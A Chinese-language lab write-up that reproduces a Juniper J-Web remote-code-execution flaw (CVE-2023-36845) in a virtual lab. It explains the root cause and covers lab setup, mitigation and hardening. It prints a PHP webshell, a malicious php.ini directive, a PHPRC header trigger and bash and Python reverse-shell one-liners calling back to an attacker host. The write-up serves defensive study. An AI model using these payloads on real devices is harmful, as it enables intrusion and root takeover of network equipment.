1. 项目概述与背景解析
最近在整理一些网络设备相关的安全研究笔记,翻到了去年(2023年)Juniper Networks设备上爆出的一个高危漏洞,编号CVE-2023-36845。这个漏洞在当时引起了不小的关注,因为它影响的是Juniper SRX系列防火墙和EX系列交换机,这些都是企业网络边界和核心交换的常见设备。简单来说,这是一个存在于Juniper Junos OS的J-Web服务中的远程代码执行漏洞。攻击者无需任何身份验证,只需要向目标设备的J-Web接口发送一个精心构造的HTTP请求,就能在设备上以root权限执行任意命令。这个危害等级,懂的都懂,直接就是最高级别的“王炸”。
为什么这个漏洞值得拿出来单独聊聊?首先,它的利用门槛相对较低,公开的利用脚本(EXP)结构清晰,是学习Web漏洞原理和RCE利用链的绝佳样本。其次,它影响的设备部署广泛,从中小企业到大型数据中心都可能存在,理解其原理对于防守方进行安全加固和应急响应至关重要。最后,这个漏洞的根源在于对HTTP请求中特定参数的处理不当,这种类型的漏洞模式在其他厂商、其他系统中也屡见不鲜,具有很强的普适学习价值。我通过搭建模拟环境,完整复现了整个漏洞的触发和利用过程,这篇文章就来详细拆解一下,从环境准备、漏洞原理分析、到手工复现和EXP解读,最后给出加固建议,希望能给安全研究人员和运维工程师提供一份实用的参考。
2. 漏洞原理深度剖析
2.1 Junos OS与J-Web服务架构浅析
要理解CVE-2023-36845,得先对漏洞的“宿主”有个基本认识。Juniper的Junos OS是其网络设备的统一操作系统,运行在SRX(下一代防火墙)、EX(交换机)、MX(路由器)等多个系列硬件上。它采用模块化设计,内核基于FreeBSD,但上层服务和管理接口是Juniper深度定制的。
J-Web是Junos OS提供的一个基于Web的图形化管理界面。对于很多不习惯CLI(命令行)的运维人员来说,J-Web提供了配置设备、监控状态、查看日志的便捷方式。它本质上是一个运行在设备上的Web应用服务器,通常监听在TCP 80(HTTP)和443(HTTPS)端口。这个服务以高权限(通常是root)运行,以便能够执行更改配置、重启服务等底层操作。这就埋下了一个伏笔:一旦攻击者能够通过Web接口注入并执行命令,获得的权限将是设备的最高控制权。
2.2 漏洞触发点与根本原因
CVE-2023-36845的漏洞核心,在于J-Web服务对HTTP请求中PHPRC环境变量参数的处理存在缺陷。这不是一个常见的SQL注入或缓冲区溢出,而是属于“参数注入”或“环境变量污染”的范畴。
具体来说,当J-Web服务(由PHP编写)处理某些特定的HTTP请求时,它会读取请求中的参数,并将其中的某些值设置为PHP进程的环境变量。攻击者可以构造一个特殊的HTTP请求,在请求中插入一个名为PHPRC的参数,并将其值指向一个由攻击者控制的、位于设备临时目录下的恶意配置文件路径。
PHPRC环境变量是PHP解释器的一个特殊配置项。如果设置了此变量,PHP在启动时会优先从该变量指定的路径加载php.ini配置文件。攻击者正是利用这一点,先通过其他请求将恶意配置内容写入设备文件系统的某个可访问位置(例如/tmp/目录),然后通过触发漏洞的请求,将PHPRC指向这个恶意文件。当J-Web的PHP进程随后因处理该请求而启动(或受到影响)时,便会加载这个恶意配置。
在恶意配置文件中,攻击者可以设置auto_prepend_file指令。这个指令的作用是,指定一个PHP文件,该文件会在任何PHP脚本执行之前自动被包含(include)进来。攻击者可以将auto_prepend_file指向另一个由他上传的、包含恶意PHP代码的文件。这样一来,只要J-Web服务处理任何一个PHP请求,攻击者的恶意代码就会率先执行,从而实现远程代码执行。
注意:这个漏洞链涉及多个步骤:文件上传(写入恶意配置和WebShell)、环境变量注入、触发PHP配置重载。它不是一个简单的单点漏洞,而是一个利用链。公开的EXP脚本将这些步骤自动化了,但理解每一步的原理对于漏洞分析和防御至关重要。
2.3 影响范围与版本信息
根据Juniper官方的安全公告,此漏洞影响以下运行Junos OS的设备:
- SRX系列防火墙:这是受影响最广泛的设备线。
- EX系列交换机:部分型号的交换机也搭载了J-Web服务。
受影响的Junos OS版本:
- 20.4版本: 20.4R3-S9之前的20.4版本。
- 21.2版本: 21.2R3-S6之前的21.2版本。
- 21.3版本: 21.3R3-S5之前的21.3版本。
- 21.4版本: 21.4R3-S5之前的21.4版本。
- 22.1版本: 22.1R3-S4之前的22.1版本。
- 22.2版本: 22.2R3-S3之前的22.2版本。
- 22.3版本: 22.3R3-S1之前的22.3版本。
- 22.4版本: 22.4R2-S2, 22.4R3之前的22.4版本。
不受影响的版本:上述列出的修复版本及之后的所有版本,以及Junos OS 23.2及之后的主要版本。
简单判断:如果你的设备J-Web服务对外开放,且Junos OS版本落在上述“受影响”区间内,那么设备就存在被远程攻击的风险。
3. 实验环境搭建与准备
漏洞复现必须在授权和隔离的环境中进行。绝对禁止对互联网上任何真实设备进行测试。
3.1 模拟环境选择与部署
由于物理Juniper设备昂贵且不易获得,我们通常使用虚拟化方案来搭建实验环境。有以下几种常见选择:
- vSRX虚拟机镜像(推荐):Juniper官方提供了vSRX的虚拟化版本,可以在VMware Workstation、ESXi或KVM上运行。这是最接近真实设备的环境。你可以从Juniper官网(需要账号)下载特定版本的vSRX镜像,例如一个存在漏洞的21.2R1版本。部署后,通过虚拟管理口进行初始配置,并开启J-Web服务。
- 漏洞靶场集成环境:一些开源漏洞靶场项目,如Vulhub,可能会集成CVE-2023-36845的环境。这种方式一键启动,最为方便,适合快速验证漏洞是否存在。你需要确保靶场环境与真实Juniper设备的文件路径、服务行为基本一致。
- 自定义仿真环境:对于深度研究,可以尝试在FreeBSD系统上模拟J-Web的PHP服务环境,但这需要对Juniper的代码结构有较深了解,难度较大,不推荐初学者。
我的选择与操作记录: 我采用了一台从官方渠道下载的vSRX 21.2R1.11虚拟机镜像,在VMware Workstation 17上运行。
- 虚拟机配置:分配4核CPU,8GB内存,2块网卡。第一块网卡(
eth0)桥接到物理网络,用于模拟WAN口,我们将从攻击机访问它。第二块网卡(eth1)使用VMnet仅主机模式,用于模拟内网管理口。 - 初始配置:通过VMware控制台启动vSRX,使用默认用户名
root(无密码)登录CLI。进行基础配置:# 进入配置模式 configure # 设置root用户密码(务必设置,否则后续服务可能无法启动) set system root-authentication plain-text-password New password: [输入密码] Retype new password: [确认密码] # 配置外部接口(ge-0/0/0)IP地址 set interfaces ge-0/0/0 unit 0 family inet address 192.168.1.200/24 # 启用J-Web HTTP服务 set system services web-management http interface ge-0/0/0 # 提交配置 commit and-quit - 验证服务:配置完成后,在攻击机浏览器访问
http://192.168.1.200,应该能看到J-Web的登录页面。这表明环境搭建成功。
3.2 攻击机与工具准备
攻击机我使用了一台Kali Linux 2024.1虚拟机,与vSRX部署在同一局域网段(192.168.1.0/24)。
需要准备的工具:
- Python3:运行EXP脚本。Kali自带。
- EXP脚本:从可靠的漏洞研究社区(如Exploit-DB、GitHub)获取公开的CVE-2023-36845利用脚本。通常是一个Python文件,例如
juniper_rce.py。 - 网络探测工具:
nmap,用于端口扫描和服务识别。 - Burp Suite或浏览器开发者工具:用于手动抓包、改包,辅助理解漏洞触发流程。
- 文本编辑器:用于查看和分析EXP脚本代码。
实操心得:在下载和使用任何EXP前,务必在隔离环境中用文本编辑器或
cat命令仔细审阅代码。检查其中是否包含可疑的后门、挖矿脚本或对非目标地址的额外请求。永远不要盲目运行来源不明的脚本。
4. 漏洞复现过程全记录
4.1 信息收集与目标确认
首先,我们需要确认目标是否存活且开启了J-Web服务。
# 使用nmap进行快速端口扫描 nmap -sS -p 80,443,22 192.168.1.200 # 更详细的版本探测和服务识别 nmap -sV -p 80 --script=http-title 192.168.1.200如果发现80或443端口开放,且HTTP标题(title)包含“J-Web”或“Juniper”字样,基本可以初步判定目标运行着J-Web服务。
为了更精确地确认版本,可以访问J-Web登录页面,查看页面源代码或HTTP响应头,有时会包含版本信息。或者,尝试访问一些已知的Junos OS信息泄露路径(但这属于另一个漏洞范畴,此处不展开)。在我们的实验中,我们已经知道目标版本是存在漏洞的21.2R1。
4.2 手工复现与漏洞链理解
在直接运行自动化EXP之前,我强烈建议先用手工方式走一遍漏洞利用链,这能让你对漏洞有肌肉记忆般的理解。我们借助Burp Suite来操作。
步骤一:上传恶意配置文件漏洞利用的第一步,是需要将一个恶意的php.ini配置文件上传到目标设备的临时目录(如/tmp/)。J-Web的某个端点(例如/webauth_operation.php)存在文件上传功能,但可能对文件类型、内容做了限制。公开的EXP通常利用了一个技巧:通过发送一个multipart/form-data格式的POST请求,在某个参数中“夹带”文件内容。
在Kali上,先创建恶意配置文件
evil.ini:auto_prepend_file = /tmp/cmd.php这个配置的意思是,让PHP在执行任何脚本前,先自动包含
/tmp/cmd.php文件。构造上传请求。用Burp抓取访问J-Web任意页面的请求,然后发送到Repeater模块进行修改。
- 请求方法:
POST - URL:
http://192.168.1.200/webauth_operation.php(具体端点可能因版本略有差异,EXP中会指明) - Content-Type:
multipart/form-data; boundary=----WebKitFormBoundaryABCDEFG(边界字符串可以自定义) - 请求体:构造一个表单数据,其中一个字段的值就是我们的
evil.ini文件内容。EXP中通常会将文件内容进行Base64编码或十六进制编码后放入某个参数值中,服务端解码后写入文件。
POST /webauth_operation.php HTTP/1.1 Host: 192.168.1.200 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDEFG ------WebKitFormBoundaryABCDEFG Content-Disposition: form-data; name="某个参数名" [这里可能是经过编码的evil.ini文件内容] ------WebKitFormBoundaryABCDEFG--发送请求后,如果服务端存在漏洞,它可能会将这个文件内容解码并写入到
/tmp/目录下的一个文件中,文件名可能是随机的,也可能是固定的。EXP脚本会解析响应,获取最终的文件路径。这一步是漏洞利用能否成功的关键,也是很多手工复现者卡住的地方,因为参数名和编码方式需要精确匹配。- 请求方法:
步骤二:上传WebShell文件同理,我们需要将包含恶意PHP代码的WebShell文件上传到目标设备。创建cmd.php:
<?php system($_REQUEST['cmd']); ?>这是一个极其简单的WebShell,通过GET或POST参数cmd来执行系统命令。同样,使用类似步骤一的方法,构造请求将这个文件内容上传到/tmp/cmd.php。确保这个路径与evil.ini中auto_prepend_file指定的路径完全一致。
步骤三:触发环境变量注入与RCE这是最精妙的一步。构造一个特殊的HTTP请求,触发J-Web服务处理流程中的漏洞点,将PHPRC环境变量设置为我们在步骤一中上传的恶意配置文件路径。
这个触发请求可能指向另一个PHP端点,例如
/index.php。在请求的HTTP头部或参数中,注入
PHPRC环境变量。根据漏洞详情,注入点可能在HTTP Header里。例如,EXP中可能会设置这样一个Header:GET /index.php HTTP/1.1 Host: 192.168.1.200 X-Forwarded-For: 127.0.0.1 PHPRC: /tmp/xxxxx.ini # 这里填入第一步上传后得到的实际ini文件路径 ... 其他头部 ...当J-Web服务处理这个请求时,由于代码缺陷,它会将
PHPRC: /tmp/xxxxx.ini这个头部信息的值,设置为处理该请求的PHP子进程的环境变量PHPRC。当PHP进程启动(或现有进程受到影响)时,它读取
PHPRC环境变量,并加载/tmp/xxxxx.ini这个配置文件。该配置文件中的
auto_prepend_file = /tmp/cmd.php指令生效。接下来,无论这个PHP进程原本要执行
index.php的什么逻辑,它都会先包含并执行/tmp/cmd.php。此时,如果我们在这个触发请求中,携带了
cmd参数(例如?cmd=id),那么cmd.php中的system($_REQUEST['cmd'])就会执行id命令,并将结果返回在HTTP响应中。
手工发送这个触发请求,如果响应体中包含了id命令的执行结果(如uid=0(root) gid=0(wheel)...),那么恭喜,RCE复现成功!
4.3 自动化EXP脚本使用与分析
手工复现虽然深刻,但步骤繁琐。公开的EXP脚本(例如从Exploit-DB获取的juniper_rce.py)将上述流程自动化了。我们来分析一下典型EXP的用法和内部逻辑。
EXP基本用法:
python3 juniper_rce.py -t http://192.168.1.200或者更详细的:
python3 juniper_rce.py --target http://192.168.1.200 --lhost 192.168.1.100 --lport 4444其中--lhost和--lport常用于指定反弹Shell的监听地址和端口,如果EXP包含反弹Shell功能。
EXP内部工作流拆解: 一个结构良好的EXP脚本通常包含以下函数或模块:
check_vulnerable(url):发送一个探测请求,根据响应特征(如特定字符串、HTTP状态码)判断目标是否存在漏洞。这步可以避免盲目攻击。upload_file(url, local_file_path, remote_path):封装了文件上传逻辑。它内部会构造正确的multipart/form-data请求,使用特定的参数名和编码方式,将本地文件内容上传到目标的/tmp目录,并从服务器响应中提取出最终的文件路径。这个函数会被调用两次,分别上传evil.ini和cmd.php。trigger_rce(url, ini_file_path, command):封装触发漏洞的逻辑。它构造包含PHPRC头部(或其他注入点)的HTTP请求,并将ini_file_path作为值。同时,它会在请求中附带上要执行的命令(如cmd=id)。发送请求后,解析响应,提取命令执行结果。get_shell(url, lhost, lport):高级功能。如果只是想获取一个交互式Shell,这个函数会执行一个反弹Shell命令(如bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'),并自动在攻击机上开启Netcat监听。- 主函数:协调以上步骤,处理命令行参数,提供交互式命令执行或直接反弹Shell。
注意事项:运行EXP时,可能会遇到各种错误,如“上传失败”、“无法获取文件路径”、“命令执行无回显”。这通常是因为目标Junos OS的微小版本差异导致的上传端点路径、参数名或响应格式不同。需要根据错误信息,调整EXP中的相关字符串。这也是为什么理解原理比单纯运行脚本更重要。
5. 常见问题与排查技巧实录
在复现过程中,我遇到了不少坑。这里把典型问题和解决方法记录下来,希望能帮你节省时间。
5.1 环境搭建与网络问题
问题1:vSRX虚拟机启动后无法获取IP地址或无法访问J-Web。
- 排查:首先检查vSRX的接口配置。通过VMware控制台登录CLI,运行
show interfaces terse查看接口状态。ge-0/0/0应该显示up状态。如果显示down,可能是虚拟网卡连接模式不对。 - 解决:确保vSRX的
ge-0/0/0网卡桥接到了正确的物理网络或与攻击机同网段的虚拟网络(如VMnet)。在vSRX CLI中,使用set interfaces ge-0/0/0 unit 0 family inet address 192.168.1.200/24和commit重新配置IP。检查防火墙策略:默认情况下,vSRX可能阻止对J-Web的访问,需要确保安全策略允许从外部区域(untrust)到设备自身(junos-host)的HTTP访问。# 进入CLI配置模式 configure # 查看当前安全策略 show security policies # 如果没有允许的策略,添加一条(示例,具体zone名可能不同) set security policies from-zone untrust to-zone junos-host policy permit-web match source-address any destination-address any application junos-http set security policies from-zone untrust to-zone junos-host policy permit-web then permit commit
问题2:EXP脚本运行时报SSL证书验证错误或连接超时。
- 排查:如果目标是HTTPS(端口443),EXP可能使用了
requests库且未禁用证书验证。目标设备的自签名证书会导致验证失败。 - 解决:修改EXP脚本,在
requests.get/post调用中添加参数verify=False。但要注意,这会在终端产生警告,可以同时导入urllib3并禁用警告。
如果是连接超时,检查网络连通性(import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) response = requests.post(url, data=data, headers=headers, verify=False)ping)、目标IP是否正确、目标服务是否真的在运行(netstat -tulnp | grep :80在目标设备上查看)。
5.2 漏洞利用过程中的问题
问题3:EXP执行后,文件上传成功,但触发RCE时命令没有回显。
- 排查:这是最常见的问题。首先,确认两个文件是否真的上传成功。可以尝试在触发RCE的命令中执行一个能产生明显网络侧行为的命令,如
ping -c 4 攻击机IP,然后在攻击机上用tcpdump监听,看是否有ICMP包过来。如果有,说明命令执行了,只是回显没有被捕获到HTTP响应中。 - 解决:
- 检查命令注入点:EXP中执行命令的参数名可能不对。常见的参数名是
cmd,但也可能是c、command等。需要分析cmd.php的内容以及触发请求的构造方式。 - 检查输出流:PHP的
system()函数执行命令后,输出可能被重定向或由于Web服务配置问题没有完全返回到HTTP响应中。尝试使用能直接输出到已知文件的命令:id > /tmp/test.txt,然后尝试通过漏洞读取这个文件,验证命令是否执行。 - 使用其他PHP函数:修改
cmd.php,尝试使用passthru()、shell_exec()或反引号(``)来执行命令,看哪个有回显。 - 查看J-Web错误日志:在vSRX上,通过CLI查看日志
show log messages | grep -i php或show log web,可能会看到PHP执行错误信息,帮助定位问题。
- 检查命令注入点:EXP中执行命令的参数名可能不对。常见的参数名是
问题4:EXP针对某个版本有效,换另一个版本就失败了。
- 排查:不同版本的Junos OS,其J-Web服务的PHP文件路径、处理上传的端点、参数名称可能发生变化。
- 解决:
- 信息收集:尽可能精确地获取目标版本。通过错误页面、HTTP响应头、SNMP(如果开放)等方式。
- 代码审计与模糊测试:如果条件允许,对目标J-Web进行简单的目录扫描 (
gobuster,dirsearch),寻找PHP文件。尝试手动测试不同的上传路径(如/webauth_operation.php、/upload.php、/admin.php等)。 - 调整EXP:根据错误信息或抓包分析,修改EXP中硬编码的URL路径、参数名、边界字符串(boundary)等。这需要一定的耐心和HTTP协议基础。
5.3 反弹Shell相关问题
问题5:EXP成功执行了命令,但反弹Shell无法建立连接。
- 排查:
- Netcat监听是否正确:在攻击机执行
nc -lvnp 4444,确认监听在正确的IP和端口上。 - 命令是否执行:先执行
ping或curl命令测试网络连通性。 - 防火墙出站规则:vSRX默认的安全策略可能禁止从
junos-host区域向untrust区域发起连接(即禁止设备主动外连)。
- Netcat监听是否正确:在攻击机执行
- 解决:
- 允许设备出站连接:在vSRX上添加安全策略,允许从
junos-host到untrust的流量。configure set security policies from-zone junos-host to-zone untrust policy outbound-permit match source-address any destination-address any application any set security policies from-zone junos-host to-zone untrust policy outbound-permit then permit commit - 尝试其他反弹Shell命令:
bash反弹可能被过滤,尝试使用python、perl、php、nc(如果目标有netcat)等不同方式。# Python反弹Shell python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' - 使用编码或混淆:简单的命令可能被Web应用防火墙(WAF)或简单的输入检查拦截。尝试对命令进行Base64编码,然后在目标端解码执行。
- 允许设备出站连接:在vSRX上添加安全策略,允许从
6. 漏洞修复与安全加固建议
复现漏洞是为了更好地防御。如果你负责运维Juniper设备,请立即采取以下措施:
1. 紧急修复(治标)
- 立即升级:这是最根本的解决方案。登录Juniper官方支持门户,下载并安装针对你设备型号和软件分支的修复版本。升级前务必阅读版本发布说明,并在测试环境验证。
- 临时缓解:如果无法立即升级,必须立即在边界防火墙或设备本身上,严格限制对J-Web服务(TCP 80/443端口)的访问。只允许来自特定管理IP地址范围的连接。在设备CLI中配置防火墙过滤器(firewall filter)或安全策略(security policy)来实现。
# 示例:在接口上应用过滤器,只允许特定IP访问80端口 set firewall family inet filter protect-jweb term allow-trusted from source-address 10.1.1.0/24 set firewall family inet filter protect-jweb term allow-trusted from protocol tcp set firewall family inet filter protect-jweb term allow-trusted from destination-port http set firewall family inet filter protect-jweb term allow-trusted then accept set firewall family inet filter protect-jweb term deny-all then discard set interfaces ge-0/0/0 unit 0 family inet filter input protect-jweb commit - 禁用J-Web服务:如果业务上完全不需要Web管理界面,最彻底的方法是直接关闭J-Web服务。
configure delete system services web-management commit
2. 安全加固(治本)
- 最小化服务原则:任何网络设备,非必要的服务一律关闭。只开启运维必须的管理协议(如SSH),并限制访问源IP。
- 网络分段与隔离:管理网络(Management Network)必须与业务网络物理或逻辑隔离。管理接口不应直接暴露在互联网或非信任网络区域。
- 强密码与多因素认证:为所有账户设置复杂、唯一的密码。如果设备支持,启用多因素认证(MFA)。
- 定期更新与漏洞监控:订阅Juniper的安全公告(PSN),定期检查设备软件版本,制定并执行严格的补丁更新计划。
- 安全配置审计:定期使用安全配置检查工具或手动审计设备配置,确保符合安全基线。检查是否存在默认密码、不必要的服务、过宽松的安全策略等。
3. 持续监控
- 日志集中与分析:将Junos OS的系统日志(syslog)、安全日志发送到SIEM(安全信息和事件管理)系统进行集中分析和告警。重点关注认证失败、配置更改、异常连接等事件。
- 入侵检测:在网络层部署IDS/IPS,设置规则检测针对Juniper设备漏洞的已知攻击流量特征。
漏洞复现的过程,就像一次对设备安全状况的“压力测试”。通过亲手触发漏洞,你不仅能深刻理解攻击者的手法,更能从防御者的角度,清晰地看到每一个薄弱环节在哪里。CVE-2023-36845给我们提了个醒:即使是像Juniper这样以稳定可靠著称的网络设备巨头,其管理界面也可能存在致命弱点。作为安全从业者或运维人员,切不可抱有“用了品牌设备就高枕无忧”的想法。主动关注漏洞情报,及时修补,严格遵循最小权限和网络隔离原则,才是保障网络基础设施安全的基石。这次复现中,那个将PHPRC环境变量通过HTTP头部注入的细节,让我对“外部输入不可信”这一安全铁律有了更具体的认识,以后在代码审计和配置检查时,会对类似的环境变量、配置文件加载机制格外警惕。